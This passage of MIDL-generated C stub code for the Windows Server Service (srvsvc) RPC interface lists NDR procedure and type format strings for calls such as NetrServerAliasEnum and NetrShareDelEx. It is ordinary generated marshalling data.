in, base type, */\n/* 2922 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2924 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter StgId */\n\n/* 2926 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2928 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2930 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter EntryUid */\n\n/* 2932 */\tNdrFcShort( 0x10a ),\t/* Flags:  must free, in, simple ref, */\n/* 2934 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2936 */\tNdrFcShort( 0xd0c ),\t/* Type Offset=3340 */\n\n\t/* Parameter EntryPrefix */\n\n/* 2938 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2940 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2942 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter RelationInfo */\n\n/* 2944 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2946 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2948 */\tNdrFcShort( 0xd58 ),\t/* Type Offset=3416 */\n\n\t/* Parameter CreateDisposition */\n\n/* 2950 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2952 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 2954 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2956 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2958 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 2960 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrDfsManagerReportSiteInfo */\n\n/* 2962 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2964 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2968 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 2970 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2972 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2974 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2976 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2978 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2980 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2982 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 2984 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2986 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2988 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2990 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2992 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 2994 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2996 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2998 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter ppSiteInfo */\n\n/* 3000 */\tNdrFcShort( 0x201b ),\t/* Flags:  must size, must free, in, out, srv alloc size=8 */\n/* 3002 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3004 */\tNdrFcShort( 0xd8c ),\t/* Type Offset=3468 */\n\n\t/* Return value */\n\n/* 3006 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3008 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3010 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrServerTransportDelEx */\n\n/* 3012 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3014 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3018 */\tNdrFcShort( 0x35 ),\t/* 53 */\n/* 3020 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3022 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 3024 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3026 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3028 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3030 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3032 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 3034 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3036 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3038 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3040 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3042 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 3044 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3046 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3048 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 3050 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3052 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3054 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Buffer */\n\n/* 3056 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3058 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3060 */\tNdrFcShort( 0xdde ),\t/* Type Offset=3550 */\n\n\t/* Return value */\n\n/* 3062 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3064 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3066 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrServerAliasAdd */\n\n/* 3068 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3070 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3074 */\tNdrFcShort( 0x36 ),\t/* 54 */\n/* 3076 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3078 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 3080 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3082 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3084 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3086 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3088 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 3090 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3092 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3094 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3096 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3098 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 3100 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3102 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3104 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 3106 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3108 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3110 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter InfoStruct */\n\n/* 3112 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3114 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3116 */\tNdrFcShort( 0xdf6 ),\t/* Type Offset=3574 */\n\n\t/* Return value */\n\n/* 3118 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3120 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3122 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrServerAliasEnum */\n\n/* 3124 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3126 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3130 */\tNdrFcShort( 0x37 ),\t/* 55 */\n/* 3132 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3134 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 3136 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3138 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3140 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 3142 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 3144 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 3146 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 3148 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3150 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3152 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3154 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 3156 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3158 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3160 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter InfoStruct */\n\n/* 3162 */\tNdrFcShort( 0x11b ),\t/* Flags:  must size, must free, in, out, simple ref, */\n/* 3164 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3166 */\tNdrFcShort( 0xe92 ),\t/* Type Offset=3730 */\n\n\t/* Parameter PreferedMaximumLength */\n\n/* 3168 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3170 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3172 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter TotalEntries */\n\n/* 3174 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3176 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3178 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ResumeHandle */\n\n/* 3180 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 3182 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3184 */\tNdrFcShort( 0xe0 ),\t/* Type Offset=224 */\n\n\t/* Return value */\n\n/* 3186 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3188 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3190 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrServerAliasDel */\n\n/* 3192 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3194 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3198 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 3200 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3202 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 3204 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3206 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3208 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3210 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3212 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 3214 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3216 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3218 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3220 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3222 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 3224 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3226 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3228 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 3230 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3232 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3234 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter InfoStruct */\n\n/* 3236 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3238 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3240 */\tNdrFcShort( 0xea6 ),\t/* Type Offset=3750 */\n\n\t/* Return value */\n\n/* 3242 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3244 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3246 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrShareDelEx */\n\n/* 3248 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3250 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3254 */\tNdrFcShort( 0x39 ),\t/* 57 */\n/* 3256 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3258 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 3260 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3262 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3264 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3266 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3268 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 3270 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3272 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3274 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3276 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3278 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 3280 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3282 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3284 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 3286 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3288 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3290 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ShareInfo */\n\n/* 3292 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3294 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3296 */\tNdrFcShort( 0xebe ),\t/* Type Offset=3774 */\n\n\t/* Return value */\n\n/* 3298 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3300 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3302 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t\t\t0x0\n        }\n    };\n\nstatic const ms2Dsrvsvc_MIDL_TYPE_FORMAT_STRING ms2Dsrvsvc__MIDL_TypeFormatString =\n    {\n        0,\n        {\n\t\t\tNdrFcShort( 0x0 ),\t/* 0 */\n/*  2 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/*  4 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/*  6 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/*  8 */\tNdrFcShort( 0xc4 ),\t/* Offset= 196 (204) */\n/* 10 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 12 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 14 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 16 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 18 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 20 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 24 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 28 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (30) */\n/* 30 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 32 */\tNdrFcShort( 0x3002 ),\t/* 12290 */\n/* 34 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 38 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (48) */\n/* 40 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 44 */\tNdrFcShort( 0x48 ),\t/* Offset= 72 (116) */\n/* 46 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (45) */\n/* 48 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 50 */\tNdrFcShort( 0x32 ),\t/* Offset= 50 (100) */\n/* 52 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 54 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 56 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 58 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 60 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 62 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 64 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 66 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 68 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 70 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 74 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 78 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 82 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 84 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 86 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 90 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 94 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 96 */\tNdrFcShort( 0xffd4 ),\t/* Offset= -44 (52) */\n/* 98 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 100 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 102 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 104 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 106 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (112) */\n/* 108 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 110 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 112 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 114 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (58) */\n/* 116 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 118 */\tNdrFcShort( 0x46 ),\t/* Offset= 70 (188) */\n/* 120 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 122 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 124 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 126 */\tNdrFcShort( 0xc ),\t/* Offset= 12 (138) */\n/* 128 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 130 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 132 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 134 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 136 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 138 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 140 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 142 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 144 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 146 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 148 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 150 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 152 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 154 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 156 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 158 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 162 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 166 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 170 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 172 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 174 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 178 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 182 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 184 */\tNdrFcShort( 0xffc0 ),\t/* Offset= -64 (120) */\n/* 186 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 188 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 190 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 192 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 194 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (200) */\n/* 196 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 198 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 200 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 202 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (146) */\n/* 204 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 206 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 208 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 210 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (210) */\n/* 212 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 214 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 216 */\tNdrFcShort( 0xff32 ),\t/* Offset= -206 (10) */\n/* 218 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 220 */\t\n\t\t\t0x11, 0xc,\t/* FC_RP [alloced_on_stack] [simple_pointer] */\n/* 222 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 224 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 226 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 228 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 230 */\tNdrFcShort( 0x92 ),\t/* Offset= 146 (376) */\n/* 232 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 234 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 236 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 238 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 240 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 242 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 246 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 250 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (252) */\n/* 252 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 254 */\tNdrFcShort( 0x3002 ),\t/* 12290 */\n/* 256 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 260 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (270) */\n/* 262 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 266 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (290) */\n/* 268 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (267) */\n/* 270 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 272 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (274) */\n/* 274 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 276 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 278 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 280 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (286) */\n/* 282 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 284 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 286 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 288 */\tNdrFcShort( 0xff1a ),\t/* Offset= -230 (58) */\n/* 290 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 292 */\tNdrFcShort( 0x44 ),\t/* Offset= 68 (360) */\n/* 294 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 296 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 298 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 300 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (310) */\n/* 302 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 304 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 306 